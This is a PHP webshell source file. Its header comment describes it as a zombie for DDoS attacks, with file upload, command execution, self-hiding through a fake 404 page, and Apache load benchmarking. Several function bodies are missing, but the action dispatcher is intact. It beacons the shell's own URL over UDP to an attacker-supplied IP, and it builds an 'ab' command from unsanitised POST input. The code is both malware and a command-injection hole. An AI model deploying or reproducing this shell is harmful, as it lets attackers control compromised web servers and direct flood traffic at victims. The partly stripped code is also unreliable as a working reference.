/*

*

* This webshell's main purpose is to be used as a zobie during a DDoS attack.

* Allows for file uploads,

* allows for quick stopping of a ping based DoS (which presumably use files that will be deleted after the attack is stopped),

* commonucates on port 11 / UDP (I presume this allows on some unixes to list currently active users),

* builds a link to itself (I'm not sure why is that useful),

* allows for command execution on the host,

* it tries to hide itself by faking a 404 response from the server,

* it also allows to benchmark apache's performance.

*

*/

<?php

@set_time_limit(0);

@error_reporting(0);

$base = dirname(__FILE__)."/";

function stoped()

}

function UploadFile($File)

}

function cmdexec($cmd)

}

function curPageURL()

}

function DNullRequest()

}

if ($_GET['action']=="status")

{

print "That is good";

exit();

}

switch($_POST['action'])

{

case "upload":UploadFile($_FILES['file']);

break;

case "stop":stoped();

break;

case "ust":$page = curPageURL();

$ip = $_POST['ip'];

$port = "11";

$out = $page."\n";

$socket = stream_socket_client("udp://$ip:$port");

if ($socket) {stream_set_write_buffer($socket, 0);

stream_socket_sendto($socket,$out);

}

fclose($socket);

break;

case "ab":$url = $_POST['url'];

$c = $_POST['c'];

$n = $_POST['n'];

cmdexec("ab -c $c -n $n $url");

break;

default:DNullRequest();

break;

}